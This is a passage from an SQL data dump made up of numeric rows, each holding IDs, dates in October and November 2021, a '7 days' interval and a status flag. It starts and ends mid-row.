days',0),(61147,15856,10452,11104,1668,277,'2021-10-12','7 days',0),(61148,15855,10452,11104,1668,277,'2021-10-12','7 days',0),(61149,15854,10452,11104,1668,277,'2021-10-12','7 days',0),(61150,9908,10178,10896,1668,277,'2021-10-12','7 days',0),(61151,9907,10178,10896,1668,277,'2021-10-12','7 days',0),(61152,9906,10178,10896,1668,277,'2021-10-12','7 days',0),(61153,9905,10178,10896,1668,277,'2021-10-12','7 days',2),(61154,9904,10178,10896,1668,277,'2021-10-12','7 days',0),(61155,9903,10178,10896,1668,277,'2021-10-12','7 days',0),(61156,9902,10178,10896,1668,277,'2021-10-12','7 days',0),(61157,9898,10178,10896,1668,277,'2021-10-12','7 days',0),(61158,9897,10178,10896,1668,277,'2021-10-12','7 days',1),(61159,8590,10178,10896,1668,277,'2021-10-12','7 days',1),(61160,15746,10147,10873,1669,277,'2021-10-12','7 days',1),(61161,13354,10147,10873,1669,277,'2021-10-12','7 days',0),(61162,12971,10147,10873,1669,277,'2021-10-12','7 days',0),(61163,12027,10147,10873,1669,277,'2021-10-12','7 days',0),(61164,12026,10147,10873,1669,277,'2021-10-12','7 days',0),(61165,12025,10147,10873,1669,277,'2021-10-12','7 days',0),(61166,12024,10147,10873,1669,277,'2021-10-12','7 days',0),(61167,12023,10147,10873,1669,277,'2021-10-12','7 days',0),(61168,12022,10147,10873,1669,277,'2021-10-12','7 days',1),(61169,12021,10147,10873,1669,277,'2021-10-12','7 days',0),(61170,9905,10342,9871,1667,277,'2021-10-12','7 days',2),(61171,9904,10342,9871,1667,277,'2021-10-12','7 days',0),(61172,9903,10342,9871,1667,277,'2021-10-12','7 days',0),(61173,9902,10342,9871,1667,277,'2021-10-12','7 days',0),(61174,9901,10342,9871,1667,277,'2021-10-12','7 days',0),(61175,9900,10342,9871,1667,277,'2021-10-12','7 days',0),(61176,9899,10342,9871,1667,277,'2021-10-12','7 days',0),(61177,9898,10342,9871,1667,277,'2021-10-12','7 days',0),(61178,9897,10342,9871,1667,277,'2021-10-12','7 days',1),(61179,8590,10342,9871,1667,277,'2021-10-12','7 days',1),(61180,20414,10342,9871,1667,277,'2021-10-12','7 days',0),(61181,20413,10342,9871,1667,277,'2021-10-12','7 days',0),(61182,20412,10342,9871,1667,277,'2021-10-12','7 days',0),(61183,20411,10342,9871,1667,277,'2021-10-12','7 days',0),(61184,20410,10342,9871,1667,277,'2021-10-12','7 days',0),(61185,20409,10342,9871,1667,277,'2021-10-12','7 days',0),(61186,20408,10342,9871,1667,277,'2021-10-12','7 days',0),(61187,20407,10342,9871,1667,277,'2021-10-12','7 days',2),(61188,20406,10342,9871,1667,277,'2021-10-12','7 days',0),(61189,20405,10342,9871,1667,277,'2021-10-12','7 days',0),(61190,20404,10342,9871,1667,277,'2021-10-12','7 days',0),(61191,20403,10342,9871,1667,277,'2021-10-12','7 days',2),(61192,20402,10342,9871,1667,277,'2021-10-12','7 days',0),(61193,20401,10342,9871,1667,277,'2021-10-12','7 days',0),(61194,20400,10342,9871,1667,277,'2021-10-12','7 days',2),(61195,20399,10342,9871,1667,277,'2021-10-12','7 days',0),(61196,20398,10342,9871,1667,277,'2021-10-12','7 days',0),(61197,20397,10342,9871,1667,277,'2021-10-12','7 days',2),(61198,20396,10342,9871,1667,277,'2021-10-12','7 days',0),(61199,20395,10342,9871,1667,277,'2021-10-12','7 days',1),(61205,11446,11040,11559,221,85,'2021-10-12','7 days',1),(61206,11445,11040,11559,221,85,'2021-10-12','7 days',0),(61207,11444,11040,11559,221,85,'2021-10-12','7 days',1),(61208,11443,11040,11559,221,85,'2021-10-12','7 days',1),(61209,11442,11040,11559,221,85,'2021-10-12','7 days',2),(61210,11441,11040,11559,221,85,'2021-10-12','7 days',0),(61211,11437,11040,11559,221,85,'2021-10-12','7 days',0),(61212,11436,11040,11559,221,85,'2021-10-12','7 days',0),(61213,11434,11040,11559,221,85,'2021-10-12','7 days',0),(61214,11433,11040,11559,221,85,'2021-10-12','7 days',0),(61215,11268,11040,11559,221,85,'2021-10-12','7 days',0),(61216,11267,11040,11559,221,85,'2021-10-12','7 days',0),(61217,11266,11040,11559,221,85,'2021-10-12','7 days',0),(61218,11262,11040,11559,221,85,'2021-10-12','7 days',1),(61219,11261,11040,11559,221,85,'2021-10-12','7 days',0),(61220,11260,11040,11559,221,85,'2021-10-12','7 days',0),(61226,18594,11038,11557,194,45,'2021-10-12','7 days',1),(61227,18593,11038,11557,194,45,'2021-10-12','7 days',1),(61228,18592,11038,11557,194,45,'2021-10-12','7 days',1),(61229,11845,11038,11557,194,45,'2021-10-12','7 days',1),(61230,11578,11038,11557,194,45,'2021-10-12','7 days',1),(61231,11520,11038,11557,194,45,'2021-10-12','7 days',1),(61232,11519,11038,11557,194,45,'2021-10-12','7 days',1),(61233,18594,11031,11549,194,45,'2021-10-12','7 days',1),(61234,18593,11031,11549,194,45,'2021-10-12','7 days',1),(61235,18592,11031,11549,194,45,'2021-10-12','7 days',1),(61236,11845,11031,11549,194,45,'2021-10-12','7 days',1),(61237,11578,11031,11549,194,45,'2021-10-12','7 days',1),(61238,11577,11031,11549,194,45,'2021-10-12','7 days',1),(61239,11520,11031,11549,194,45,'2021-10-12','7 days',1),(61240,11519,11031,11549,194,45,'2021-10-12','7 days',1),(61250,15586,10799,11367,1394,86,'2021-10-13','7 days',1),(61251,15585,10799,11367,1394,86,'2021-10-13','7 days',0),(61252,15584,10799,11367,1394,86,'2021-10-13','7 days',0),(61253,15567,10799,11367,1394,86,'2021-10-13','7 days',0),(61254,15493,10799,11367,1394,86,'2021-10-13','7 days',0),(61255,15369,10799,11367,1394,86,'2021-10-13','7 days',1),(61256,15368,10799,11367,1394,86,'2021-10-13','7 days',1),(61257,15367,10799,11367,1394,86,'2021-10-13','7 days',1),(61258,9007,10799,11367,1394,86,'2021-10-13','7 days',0),(61290,17214,11049,11567,1324,959,'2021-10-13','7 days',0),(61291,10251,11049,11567,1324,959,'2021-10-13','7 days',0),(61292,10212,11049,11567,1324,959,'2021-10-13','7 days',1),(61293,10211,11049,11567,1324,959,'2021-10-13','7 days',0),(61294,18838,11057,11574,1410,975,'2021-10-13','7 days',1),(61295,18427,11057,11574,1410,975,'2021-10-13','7 days',1),(61296,18426,11057,11574,1410,975,'2021-10-13','7 days',0),(61307,16277,10268,10959,1342,971,'2021-10-14','7 days',0),(61308,16276,10268,10959,1342,971,'2021-10-14','7 days',0),(61309,16139,10268,10959,1342,971,'2021-10-14','7 days',1),(61310,12739,10268,10959,1342,971,'2021-10-14','7 days',1),(61311,11698,10268,10959,1342,971,'2021-10-14','7 days',0),(61312,11456,10268,10959,1342,971,'2021-10-14','7 days',0),(61313,11126,10268,10959,1342,971,'2021-10-14','7 days',1),(61314,10978,10268,10959,1342,971,'2021-10-14','7 days',1),(61315,10967,10268,10959,1342,971,'2021-10-14','7 days',1),(61316,10965,10268,10959,1342,971,'2021-10-14','7 days',0),(61317,10964,10268,10959,1342,971,'2021-10-14','7 days',0),(61318,10963,10268,10959,1342,971,'2021-10-14','7 days',2),(61319,15858,9640,10495,1663,277,'2021-10-14','7 days',0),(61320,15857,9640,10495,1663,277,'2021-10-14','7 days',0),(61321,15856,9640,10495,1663,277,'2021-10-14','7 days',0),(61322,15855,9640,10495,1663,277,'2021-10-14','7 days',0),(61323,15854,9640,10495,1663,277,'2021-10-14','7 days',0),(61324,15746,9640,10495,1663,277,'2021-10-14','7 days',1),(61325,13354,9640,10495,1663,277,'2021-10-14','7 days',0),(61326,12971,9640,10495,1663,277,'2021-10-14','7 days',0),(61327,12027,9640,10495,1663,277,'2021-10-14','7 days',0),(61328,12026,9640,10495,1663,277,'2021-10-14','7 days',0),(61336,20438,9640,10495,1663,277,'2021-10-14','7 days',2),(61337,20437,9640,10495,1663,277,'2021-10-14','7 days',0),(61338,20436,9640,10495,1663,277,'2021-10-14','7 days',0),(61339,20435,9640,10495,1663,277,'2021-10-14','7 days',0),(61340,20434,9640,10495,1663,277,'2021-10-14','7 days',0),(61341,20433,9640,10495,1663,277,'2021-10-14','7 days',0),(61342,20432,9640,10495,1663,277,'2021-10-14','7 days',0),(61343,20431,9640,10495,1663,277,'2021-10-14','7 days',0),(61344,20430,9640,10495,1663,277,'2021-10-14','7 days',0),(61345,20429,9640,10495,1663,277,'2021-10-14','7 days',0),(61346,20428,9640,10495,1663,277,'2021-10-14','7 days',0),(61347,20427,9640,10495,1663,277,'2021-10-14','7 days',0),(61348,20426,9640,10495,1663,277,'2021-10-14','7 days',0),(61349,20425,9640,10495,1663,277,'2021-10-14','7 days',0),(61350,20424,9640,10495,1663,277,'2021-10-14','7 days',0),(61351,20423,9640,10495,1663,277,'2021-10-14','7 days',0),(61352,20422,9640,10495,1663,277,'2021-10-14','7 days',1),(61353,20421,9640,10495,1663,277,'2021-10-14','7 days',0),(61354,20420,9640,10495,1663,277,'2021-10-14','7 days',0),(61355,20419,9640,10495,1663,277,'2021-10-14','7 days',1),(61372,20443,11093,11601,204,86,'2021-10-16','7 days',0),(61373,20442,11093,11601,204,86,'2021-10-16','7 days',0),(61374,20441,11093,11601,204,86,'2021-10-16','7 days',1),(61375,20440,11093,11601,204,86,'2021-10-16','7 days',0),(61376,20439,11093,11601,204,86,'2021-10-16','7 days',0),(61377,18827,11093,11601,204,86,'2021-10-16','7 days',2),(61378,18826,11093,11601,204,86,'2021-10-16','7 days',0),(61379,18825,11093,11601,204,86,'2021-10-16','7 days',0),(61380,18824,11093,11601,204,86,'2021-10-16','7 days',2),(61381,18823,11093,11601,204,86,'2021-10-16','7 days',0),(61382,18822,11093,11601,204,86,'2021-10-16','7 days',0),(61383,18821,11093,11601,204,86,'2021-10-16','7 days',0),(61384,18820,11093,11601,204,86,'2021-10-16','7 days',0),(61385,18819,11093,11601,204,86,'2021-10-16','7 days',0),(61386,18818,11093,11601,204,86,'2021-10-16','7 days',0),(61387,18817,11093,11601,204,86,'2021-10-16','7 days',2),(61388,18816,11093,11601,204,86,'2021-10-16','7 days',0),(61545,18593,11083,11593,194,45,'2021-10-18','7 days',1),(61546,18592,11083,11593,194,45,'2021-10-18','7 days',1),(61547,11520,11083,11593,194,45,'2021-10-18','7 days',1),(61548,18593,11084,11594,194,45,'2021-10-18','7 days',1),(61549,18592,11084,11594,194,45,'2021-10-18','7 days',1),(61550,11520,11084,11594,194,45,'2021-10-18','7 days',1),(61551,11519,11084,11594,194,45,'2021-10-18','7 days',1),(61552,18593,11092,11600,194,45,'2021-10-18','7 days',1),(61553,18592,11092,11600,194,45,'2021-10-18','7 days',1),(61554,11520,11092,11600,194,45,'2021-10-18','7 days',1),(61555,11519,11092,11600,194,45,'2021-10-18','7 days',1),(61556,18593,11115,11620,194,45,'2021-10-18','7 days',1),(61557,18592,11115,11620,194,45,'2021-10-18','7 days',1),(61558,11520,11115,11620,194,45,'2021-10-18','7 days',1),(61559,11519,11115,11620,194,45,'2021-10-18','7 days',1),(61565,17682,10178,10896,1668,277,'2021-10-18','7 days',1),(61566,17681,10178,10896,1668,277,'2021-10-18','7 days',2),(61567,15861,10178,10896,1668,277,'2021-10-18','7 days',0),(61568,15860,10178,10896,1668,277,'2021-10-18','7 days',0),(61569,15859,10178,10896,1668,277,'2021-10-18','7 days',0),(61570,15858,10178,10896,1668,277,'2021-10-18','7 days',0),(61571,15857,10178,10896,1668,277,'2021-10-18','7 days',0),(61572,15856,10178,10896,1668,277,'2021-10-18','7 days',0),(61574,15855,10178,10896,1668,277,'2021-10-18','7 days',0),(61575,15854,10178,10896,1668,277,'2021-10-18','7 days',0),(61581,9908,10366,11035,1669,277,'2021-10-18','7 days',0),(61582,9907,10366,11035,1669,277,'2021-10-18','7 days',0),(61583,9906,10366,11035,1669,277,'2021-10-18','7 days',0),(61584,9902,10366,11035,1669,277,'2021-10-18','7 days',0),(61585,9901,10366,11035,1669,277,'2021-10-18','7 days',0),(61586,9900,10366,11035,1669,277,'2021-10-18','7 days',0),(61587,9899,10366,11035,1669,277,'2021-10-18','7 days',0),(61588,9898,10366,11035,1669,277,'2021-10-18','7 days',0),(61589,9897,10366,11035,1669,277,'2021-10-18','7 days',1),(61590,8590,10366,11035,1669,277,'2021-10-18','7 days',1),(61591,20500,11104,11608,1732,667,'2021-10-18','7 days',0),(61592,20499,11104,11608,1732,667,'2021-10-18','7 days',0),(61593,20498,11104,11608,1732,667,'2021-10-18','7 days',0),(61594,20497,11104,11608,1732,667,'2021-10-18','7 days',0),(61595,20496,11104,11608,1732,667,'2021-10-18','7 days',0),(61596,20495,11104,11608,1732,667,'2021-10-18','7 days',1),(61597,20494,11104,11608,1732,667,'2021-10-18','7 days',2),(61598,20493,11104,11608,1732,667,'2021-10-18','7 days',0),(61599,20492,11104,11608,1732,667,'2021-10-18','7 days',0),(61600,20491,11104,11608,1732,667,'2021-10-18','7 days',0),(61601,20490,11104,11608,1732,667,'2021-10-18','7 days',0),(61602,20489,11104,11608,1732,667,'2021-10-18','7 days',0),(61603,20488,11104,11608,1732,667,'2021-10-18','7 days',0),(61604,20487,11104,11608,1732,667,'2021-10-18','7 days',0),(61605,20486,11104,11608,1732,667,'2021-10-18','7 days',0),(61606,20093,11104,11608,1732,667,'2021-10-18','7 days',1),(61673,18830,11121,11628,1410,975,'2021-10-19','7 days',1),(61674,17409,11121,11628,1410,975,'2021-10-19','7 days',1),(61675,17408,11121,11628,1410,975,'2021-10-19','7 days',1),(61733,11446,11085,11595,221,85,'2021-10-19','7 days',1),(61734,11445,11085,11595,221,85,'2021-10-19','7 days',0),(61735,11444,11085,11595,221,85,'2021-10-19','7 days',1),(61736,11442,11085,11595,221,85,'2021-10-19','7 days',1),(61737,11440,11085,11595,221,85,'2021-10-19','7 days',0),(61738,11438,11085,11595,221,85,'2021-10-19','7 days',0),(61739,11437,11085,11595,221,85,'2021-10-19','7 days',0),(61740,11436,11085,11595,221,85,'2021-10-19','7 days',0),(61741,11435,11085,11595,221,85,'2021-10-19','7 days',0),(61742,11266,11085,11595,221,85,'2021-10-19','7 days',0),(61743,11265,11085,11595,221,85,'2021-10-19','7 days',0),(61744,11264,11085,11595,221,85,'2021-10-19','7 days',0),(61745,11263,11085,11595,221,85,'2021-10-19','7 days',2),(61746,11262,11085,11595,221,85,'2021-10-19','7 days',2),(61748,11261,11085,11595,221,85,'2021-10-19','7 days',0),(61749,11260,11085,11595,221,85,'2021-10-19','7 days',0),(61757,18830,11144,11648,1410,975,'2021-10-19','7 days',1),(61758,17409,11144,11648,1410,975,'2021-10-19','7 days',1),(61759,17408,11144,11648,1410,975,'2021-10-19','7 days',1),(61782,18594,11120,11626,194,45,'2021-10-20','7 days',1),(61783,18593,11120,11626,194,45,'2021-10-20','7 days',1),(61784,18592,11120,11626,194,45,'2021-10-20','7 days',1),(61785,11520,11120,11626,194,45,'2021-10-20','7 days',1),(61786,11519,11120,11626,194,45,'2021-10-20','7 days',1),(61787,18594,11133,11640,194,45,'2021-10-20','7 days',1),(61788,18593,11133,11640,194,45,'2021-10-20','7 days',1),(61789,18592,11133,11640,194,45,'2021-10-20','7 days',1),(61790,11520,11133,11640,194,45,'2021-10-20','7 days',1),(61791,11519,11133,11640,194,45,'2021-10-20','7 days',1),(61920,17206,11158,11659,1324,959,'2021-10-22','7 days',2),(61921,17213,11158,11659,1324,959,'2021-10-22','7 days',1),(61922,17211,11158,11659,1324,959,'2021-10-22','7 days',1),(61923,14071,11158,11659,1324,959,'2021-10-22','7 days',1),(62021,18695,11093,11601,204,86,'2021-10-23','7 days',0),(62023,18562,11093,11601,204,86,'2021-10-23','7 days',2),(62024,18561,11093,11601,204,86,'2021-10-23','7 days',0),(62025,18560,11093,11601,204,86,'2021-10-23','7 days',0),(62026,17502,11093,11601,204,86,'2021-10-23','7 days',0),(62027,17501,11093,11601,204,86,'2021-10-23','7 days',2),(62028,9002,11093,11601,204,86,'2021-10-23','7 days',1),(62029,9000,11093,11601,204,86,'2021-10-23','7 days',1),(62030,8999,11093,11601,204,86,'2021-10-23','7 days',1),(62089,20320,11193,10058,160,73,'2021-10-23','7 days',0),(62090,20319,11193,10058,160,73,'2021-10-23','7 days',0),(62091,20318,11193,10058,160,73,'2021-10-23','7 days',0),(62092,20317,11193,10058,160,73,'2021-10-23','7 days',1),(62093,20316,11193,10058,160,73,'2021-10-23','7 days',0),(62094,20315,10781,11357,160,73,'2021-10-23','7 days',0),(62095,20314,10781,11357,160,73,'2021-10-23','7 days',0),(62096,20313,10781,11357,160,73,'2021-10-23','7 days',2),(62097,20312,10781,11357,160,73,'2021-10-23','7 days',2),(62098,20311,10781,11357,160,73,'2021-10-23','7 days',0),(62099,9011,9800,10195,160,73,'2021-10-23','7 days',1),(62100,648,9800,10195,160,73,'2021-10-23','7 days',1),(62101,9014,9800,10195,160,73,'2021-10-23','7 days',1),(62102,9013,9800,10195,160,73,'2021-10-23','7 days',1),(62103,8786,9800,10195,160,73,'2021-10-23','7 days',0),(62143,20668,11093,11601,204,86,'2021-10-25','7 days',0),(62144,9669,11093,11601,204,86,'2021-10-25','7 days',1),(62145,9668,11093,11601,204,86,'2021-10-25','7 days',0),(62146,9667,11093,11601,204,86,'2021-10-25','7 days',0),(62147,9666,11093,11601,204,86,'2021-10-25','7 days',2),(62148,20666,11093,11601,204,86,'2021-10-25','7 days',0),(62149,20665,11093,11601,204,86,'2021-10-25','7 days',1),(62150,18934,11093,11601,204,86,'2021-10-25','7 days',0),(62151,20667,11093,11601,204,86,'2021-10-25','7 days',0),(62157,9909,9640,10495,1663,277,'2021-10-25','7 days',1),(62158,9908,9640,10495,1663,277,'2021-10-25','7 days',0),(62159,9907,9640,10495,1663,277,'2021-10-25','7 days',0),(62160,9906,9640,10495,1663,277,'2021-10-25','7 days',0),(62161,9905,9640,10495,1663,277,'2021-10-25','7 days',2),(62162,12025,9640,10495,1663,277,'2021-10-25','7 days',0),(62163,12024,9640,10495,1663,277,'2021-10-25','7 days',0),(62164,12023,9640,10495,1663,277,'2021-10-25','7 days',0),(62165,12022,9640,10495,1663,277,'2021-10-25','7 days',1),(62166,12021,9640,10495,1663,277,'2021-10-25','7 days',0),(62167,12020,9640,10495,1663,277,'2021-10-25','7 days',0),(62168,12019,9640,10495,1663,277,'2021-10-25','7 days',0),(62169,12018,9640,10495,1663,277,'2021-10-25','7 days',0),(62170,12017,9640,10495,1663,277,'2021-10-25','7 days',0),(62171,11844,9640,10495,1663,277,'2021-10-25','7 days',0),(62172,11659,9640,10495,1663,277,'2021-10-25','7 days',0),(62173,11450,9640,10495,1663,277,'2021-10-25','7 days',2),(62174,11449,9640,10495,1663,277,'2021-10-25','7 days',0),(62175,11448,9640,10495,1663,277,'2021-10-25','7 days',0),(62176,11447,9640,10495,1663,277,'2021-10-25','7 days',0),(62177,11439,9640,10495,1663,277,'2021-10-25','7 days',0),(62178,9911,9640,10495,1663,277,'2021-10-25','7 days',0),(62179,9910,9640,10495,1663,277,'2021-10-25','7 days',0),(62201,17213,11232,11709,1324,959,'2021-10-26','7 days',1),(62202,17211,11232,11709,1324,959,'2021-10-26','7 days',1),(62203,14071,11232,11709,1324,959,'2021-10-26','7 days',1),(62204,16277,10930,10306,1406,971,'2021-10-26','7 days',0),(62205,16276,10930,10306,1406,971,'2021-10-26','7 days',0),(62206,16139,10930,10306,1406,971,'2021-10-26','7 days',1),(62207,12739,10930,10306,1406,971,'2021-10-26','7 days',2),(62208,11698,10930,10306,1406,971,'2021-10-26','7 days',0),(62209,11456,10930,10306,1406,971,'2021-10-26','7 days',2),(62210,11126,10930,10306,1406,971,'2021-10-26','7 days',1),(62211,10978,10930,10306,1406,971,'2021-10-26','7 days',1),(62212,10967,10930,10306,1406,971,'2021-10-26','7 days',1),(62213,10965,10930,10306,1406,971,'2021-10-26','7 days',0),(62214,10964,10930,10306,1406,971,'2021-10-26','7 days',0),(62215,10963,10930,10306,1406,971,'2021-10-26','7 days',2),(62216,20670,11234,11713,1408,86,'2021-10-26','7 days',2),(62217,14590,11234,11713,1408,86,'2021-10-26','7 days',0),(62218,14589,11234,11713,1408,86,'2021-10-26','7 days',1),(62219,20669,11234,11713,1408,86,'2021-10-26','7 days',0),(62220,11721,11234,11713,1408,86,'2021-10-26','7 days',0),(62221,11720,11234,11713,1408,86,'2021-10-26','7 days',1),(62222,11719,11234,11713,1408,86,'2021-10-26','7 days',0),(62223,11718,11234,11713,1408,86,'2021-10-26','7 days',1),(62224,11717,11234,11713,1408,86,'2021-10-26','7 days',0),(62225,20671,10342,9871,1667,277,'2021-10-26','7 days',1),(62294,20673,11093,11601,204,86,'2021-10-27','7 days',0),(62296,18695,11234,11713,1408,86,'2021-10-27','7 days',0),(62298,18562,11234,11713,1408,86,'2021-10-27','7 days',0),(62299,18561,11234,11713,1408,86,'2021-10-27','7 days',0),(62389,18930,11093,11601,204,86,'2021-10-28','7 days',0),(62390,18929,11093,11601,204,86,'2021-10-28','7 days',1),(62391,18928,11093,11601,204,86,'2021-10-28','7 days',2),(62392,13670,11093,11601,204,86,'2021-10-28','7 days',2),(62393,13101,11093,11601,204,86,'2021-10-28','7 days',0),(62394,13097,11093,11601,204,86,'2021-10-28','7 days',0),(62395,13087,11093,11601,204,86,'2021-10-28','7 days',0),(62402,18830,11283,11749,1410,975,'2021-10-28','7 days',1),(62403,17409,11283,11749,1410,975,'2021-10-28','7 days',1),(62404,17408,11283,11749,1410,975,'2021-10-28','7 days',1),(62405,18838,11281,11747,1410,975,'2021-10-28','7 days',1),(62406,18427,11281,11747,1410,975,'2021-10-28','7 days',1),(62407,18426,11281,11747,1410,975,'2021-10-28','7 days',0),(62408,18830,11279,11746,1410,975,'2021-10-28','7 days',1),(62409,17409,11279,11746,1410,975,'2021-10-28','7 days',1),(62410,17408,11279,11746,1410,975,'2021-10-28','7 days',1),(62411,11446,11270,11739,221,85,'2021-10-29','7 days',0),(62412,11445,11270,11739,221,85,'2021-10-29','7 days',0),(62413,11444,11270,11739,221,85,'2021-10-29','7 days',0),(62414,11442,11270,11739,221,85,'2021-10-29','7 days',1),(62415,11441,11270,11739,221,85,'2021-10-29','7 days',0),(62416,11440,11270,11739,221,85,'2021-10-29','7 days',0),(62417,11436,11270,11739,221,85,'2021-10-29','7 days',0),(62418,11433,11270,11739,221,85,'2021-10-29','7 days',0),(62419,11432,11270,11739,221,85,'2021-10-29','7 days',0),(62420,11265,11270,11739,221,85,'2021-10-29','7 days',0),(62421,11264,11270,11739,221,85,'2021-10-29','7 days',0),(62422,11263,11270,11739,221,85,'2021-10-29','7 days',1),(62423,11262,11270,11739,221,85,'2021-10-29','7 days',2),(62424,11261,11270,11739,221,85,'2021-10-29','7 days',0),(62425,11260,11270,11739,221,85,'2021-10-29','7 days',0),(62426,18594,11246,11726,194,45,'2021-10-29','7 days',1),(62427,18593,11246,11726,194,45,'2021-10-29','7 days',1),(62428,18592,11246,11726,194,45,'2021-10-29','7 days',1),(62429,11520,11246,11726,194,45,'2021-10-29','7 days',1),(62430,11519,11246,11726,194,45,'2021-10-29','7 days',1),(62478,18594,11307,11767,194,45,'2021-11-01','7 days',1),(62479,18593,11307,11767,194,45,'2021-11-01','7 days',1),(62480,18592,11307,11767,194,45,'2021-11-01','7 days',1),(62481,11520,11307,11767,194,45,'2021-11-01','7 days',1),(62482,18594,11311,11773,194,45,'2021-11-01','7 days',1),(62483,18593,11311,11773,194,45,'2021-11-01','7 days',1),(62484,11520,11311,11773,194,45,'2021-11-01','7 days',1),(62485,11519,11311,11773,194,45,'2021-11-01','7 days',1),(62486,18933,11320,11780,1394,86,'2021-11-01','7 days',0),(62487,18913,11320,11780,1394,86,'2021-11-01','7 days',1),(62488,18292,11320,11780,1394,86,'2021-11-01','7 days',0),(62489,14913,11320,11780,1394,86,'2021-11-01','7 days',0),(62490,10807,11320,11780,1394,86,'2021-11-01','7 days',0),(62491,10806,11320,11780,1394,86,'2021-11-01','7 days',1),(62492,10805,11320,11780,1394,86,'2021-11-01','7 days',0),(62493,10804,11320,11780,1394,86,'2021-11-01','7 days',0),(62494,6199,11320,11780,1394,86,'2021-11-01','7 days',0),(62495,5755,11320,11780,1394,86,'2021-11-01','7 days',0),(62496,5754,11320,11780,1394,86,'2021-11-01','7 days',0),(62497,5753,11320,11780,1394,86,'2021-11-01','7 days',0),(62498,5751,11320,11780,1394,86,'2021-11-01','7 days',0),(62499,5749,11320,11780,1394,86,'2021-11-01','7 days',0),(62500,5747,11320,11780,1394,86,'2021-11-01','7 days',0),(62501,5745,11320,11780,1394,86,'2021-11-01','7 days',0),(62502,5743,11320,11780,1394,86,'2021-11-01','7 days',0),(62503,5741,11320,11780,1394,86,'2021-11-01','7 days',0),(62504,5739,11320,11780,1394,86,'2021-11-01','7 days',0),(62517,9900,11196,11683,1665,277,'2021-11-02','7 days',0),(62518,9899,11196,11683,1665,277,'2021-11-02','7 days',0),(62519,9898,11196,11683,1665,277,'2021-11-02','7 days',0),(62520,9897,11196,11683,1665,277,'2021-11-02','7 days',1),(62521,8590,11196,11683,1665,277,'2021-11-02','7 days',1),(62522,9905,11152,11655,1665,277,'2021-11-02','7 days',2),(62523,9904,11152,11655,1665,277,'2021-11-02','7 days',0),(62524,9903,11152,11655,1665,277,'2021-11-02','7 days',0),(62525,9902,11152,11655,1665,277,'2021-11-02','7 days',0),(62526,9901,11152,11655,1665,277,'2021-11-02','7 days',0),(62527,6243,11320,11780,1394,86,'2021-11-02','7 days',0),(62528,6241,11320,11780,1394,86,'2021-11-02','7 days',0),(62654,11446,11337,11792,221,85,'2021-11-02','7 days',0),(62655,11445,11337,11792,221,85,'2021-11-02','7 days',0),(62656,11444,11337,11792,221,85,'2021-11-02','7 days',0),(62657,11438,11337,11792,221,85,'2021-11-02','7 days',2),(62658,11437,11337,11792,221,85,'2021-11-02','7 days',0),(62659,11436,11337,11792,221,85,'2021-11-02','7 days',0),(62660,11435,11337,11792,221,85,'2021-11-02','7 days',0),(62661,11434,11337,11792,221,85,'2021-11-02','7 days',0),(62662,11431,11337,11792,221,85,'2021-11-02','7 days',0),(62663,11266,11337,11792,221,85,'2021-11-02','7 days',0),(62664,11265,11337,11792,221,85,'2021-11-02','7 days',0),(62665,11264,11337,11792,221,85,'2021-11-02','7 days',0),(62666,11263,11337,11792,221,85,'2021-11-02','7 days',1),(62667,11262,11337,11792,221,85,'2021-11-02','7 days',1),(62668,11261,11337,11792,221,85,'2021-11-02','7 days',0),(62669,11260,11337,11792,221,85,'2021-11-02','7 days',0),(62687,18593,11354,11768,194,45,'2021-11-03','7 days',1),(62689,11520,11354,11768,194,45,'2021-11-03','7 days',1),(62691,11519,11354,11768,194,45,'2021-11-03','7 days',1),(62752,9905,11313,3488,1665,277,'2021-11-05','7 days',2),(62753,9904,11313,3488,1665,277,'2021-11-05','7 days',0),(62754,9903,11313,3488,1665,277,'2021-11-05','7 days',2),(62755,9902,11313,3488,1665,277,'2021-11-05','7 days',0),(62756,9901,11313,3488,1665,277,'2021-11-05','7 days',0),(62757,9900,11313,3488,1665,277,'2021-11-05','7 days',0),(62758,9899,11313,3488,1665,277,'2021-11-05','7 days',0),(62759,9898,11313,3488,1665,277,'2021-11-05','7 days',0),(62760,9897,11313,3488,1665,277,'2021-11-05','7 days',1),(62761,8590,11313,3488,1665,277,'2021-11-05','7 days',1),(62762,17682,11152,11655,1665,277,'2021-11-05','7 days',1),(62763,17681,11152,11655,1665,277,'2021-11-05','7 days',2),(62764,15861,11152,11655,1665,277,'2021-11-05','7 days',0),(62765,15860,11152,11655,1665,277,'2021-11-05','7 days',2),(62766,15859,11152,11655,1665,277,'2021-11-05','7 days',0),(62767,15858,11152,11655,1665,277,'2021-11-05','7 days',2),(62768,15857,11152,11655,1665,277,'2021-11-05','7 days',0),(62769,15856,11152,11655,1665,277,'2021-11-05','7 days',0),(62845,11446,11297,11761,221,85,'2021-11-08','7 days',0),(62846,11445,11297,11761,221,85,'2021-11-08','7 days',0),(62847,11444,11297,11761,221,85,'2021-11-08','7 days',0),(62848,11442,11297,11761,221,85,'2021-11-08','7 days',2),(62849,11441,11297,11761,221,85,'2021-11-08','7 days',0),(62850,11437,11297,11761,221,85,'2021-11-08','7 days',0),(62851,11436,11297,11761,221,85,'2021-11-08','7 days',0),(62852,11431,11297,11761,221,85,'2021-11-08','7 days',0),(62853,11269,11297,11761,221,85,'2021-11-08','7 days',0),(62854,11268,11297,11761,221,85,'2021-11-08','7 days',0),(62855,11266,11297,11761,221,85,'2021-11-08','7 days',0),(62856,11263,11297,11761,221,85,'2021-11-08','7 days',2),(62858,11262,11297,11761,221,85,'2021-11-08','7 days',2),(62859,11261,11297,11761,221,85,'2021-11-08','7 days',0),(62860,11260,11297,11761,221,85,'2021-11-08','7 days',0),(62861,18594,11432,11856,194,45,'2021-11-08','7 days',1),(62862,18593,11432,11856,194,45,'2021-11-08','7 days',1),(62863,11577,11432,11856,194,45,'2021-11-08','7 days',1),(62864,11520,11432,11856,194,45,'2021-11-08','7 days',1),(62865,11519,11432,11856,194,45,'2021-11-08','7 days',1),(62993,17214,11447,11869,1315,959,'2021-11-09','7 days',0),(62994,10251,11447,11869,1315,959,'2021-11-09','7 days',0),(62995,10212,11447,11869,1315,959,'2021-11-09','7 days',1),(62996,10211,11447,11869,1315,959,'2021-11-09','7 days',0),(62998,18593,11451,11874,194,45,'2021-11-09','7 days',1),(62999,18592,11451,11874,194,45,'2021-11-09','7 days',1),(63000,11520,11451,11874,194,45,'2021-11-09','7 days',1),(63001,11519,11451,11874,194,45,'2021-11-09','7 days',1),(63108,15826,11439,9456,1291,86,'2021-11-09','7 days',0),(63109,13344,11439,9456,1291,86,'2021-11-09','7 days',0),(63110,13343,11439,9456,1291,86,'2021-11-09','7 days',0),(63111,10685,11439,9456,1291,86,'2021-11-09','7 